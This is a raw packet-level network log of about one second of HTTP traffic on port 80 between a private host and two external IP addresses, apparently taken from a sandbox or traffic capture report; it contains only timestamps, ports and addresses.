Jan 13, 2022 20:51:25.409715891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409720898 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409729004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409745932 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409761906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409779072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409786940 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409791946 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409796953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409812927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409830093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409846067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409862995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409868956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409877062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409893036 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409909010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409924984 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409943104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409954071 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409959078 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.409959078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409976959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.409992933 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410006046 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410010099 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410012960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410027981 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410043955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410060883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410077095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410087109 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410093069 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410093069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410109997 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410125971 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410140991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410156012 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410156965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410161972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410172939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410190105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410206079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410218954 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410222054 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410223961 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410239935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410257101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410274029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410279036 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410289049 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410301924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410320044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410336018 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410346985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410352945 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410353899 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410371065 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410387993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410404921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410422087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410423994 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410429001 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410439968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410456896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410473108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410478115 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410481930 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410491943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410507917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410526037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410542011 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410561085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410577059 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410581112 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410587072 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410595894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410612106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410626888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410643101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410660028 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410676003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410684109 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410689116 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410696030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410713911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410729885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410746098 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410763025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410773993 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410778999 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410779953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410798073 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410815001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410830021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410845995 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410851002 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410856009 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410864115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410880089 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410896063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410911083 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410912037 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410917044 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410934925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410953999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410964012 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410968065 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.410974979 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.410994053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411014080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411031961 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411051035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411047935 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411058903 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411071062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411088943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411106110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411120892 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411138058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411144972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411155939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411159992 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411171913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411174059 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411190033 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411206961 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411222935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411232948 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411240101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411241055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411258936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411276102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411293030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411295891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411300898 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411309004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411324978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411345005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411360979 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411376953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411386013 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411392927 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411393881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411396980 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411410093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411427021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411431074 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411443949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411461115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411478043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411494017 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411510944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411519051 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411525011 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411533117 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411541939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411559105 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411566019 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411618948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411637068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411652088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411670923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411684990 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411690950 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411748886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411767006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411783934 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411799908 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411813974 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411814928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411823034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411844015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411860943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411878109 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411884069 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411890030 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411897898 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411916018 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411931992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.411959887 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411964893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.411989927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412008047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412025928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412033081 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412039042 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412044048 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412061930 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412081957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412097931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412107944 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412113905 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412121058 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412138939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412158966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412164927 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412169933 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412177086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412193060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412209034 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412225962 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412226915 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412231922 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412245035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412261009 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412278891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412296057 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412300110 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412306070 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412312984 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412331104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412338018 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412348032 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412365913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412381887 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412383080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412400007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412400961 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412416935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412432909 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412434101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412439108 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412451029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412467003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412483931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412498951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412514925 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412523985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412532091 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412537098 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412542105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412549973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412566900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412575960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412584066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412600994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412617922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412635088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412642002 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412648916 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412653923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412678003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412694931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412709951 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412712097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412714958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412729025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412745953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412763119 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412770033 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412774086 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412781954 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412798882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412815094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412831068 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412832975 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412841082 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412847996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412863970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412880898 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412887096 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412895918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412899971 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412916899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412934065 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412940979 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412946939 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.412950993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412969112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.412986040 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413001060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413014889 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413017035 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413022041 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413036108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413052082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413059950 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413067102 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413069010 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413085938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413100958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413117886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413130999 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413132906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413137913 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413150072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413166046 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413181067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413192034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413197994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413199902 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413213968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413232088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413247108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413250923 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413258076 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413264036 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413289070 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413300991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413316011 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413317919 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413324118 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413335085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413357973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413373947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413388014 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413389921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413394928 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413407087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413417101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413423061 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413424015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413440943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413456917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413472891 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413472891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413480997 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413486958 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413505077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413522959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.413551092 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413558006 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.413760900 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.449260950 CET	80	49832	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.449337006 CET	49832	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.449373007 CET	49832	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.478523970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478545904 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478564024 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478581905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478599072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478615999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478632927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478650093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478667021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478683949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478688955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.478701115 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.478713989 CET	49825	80	192.168.2.5	141.8.194.74
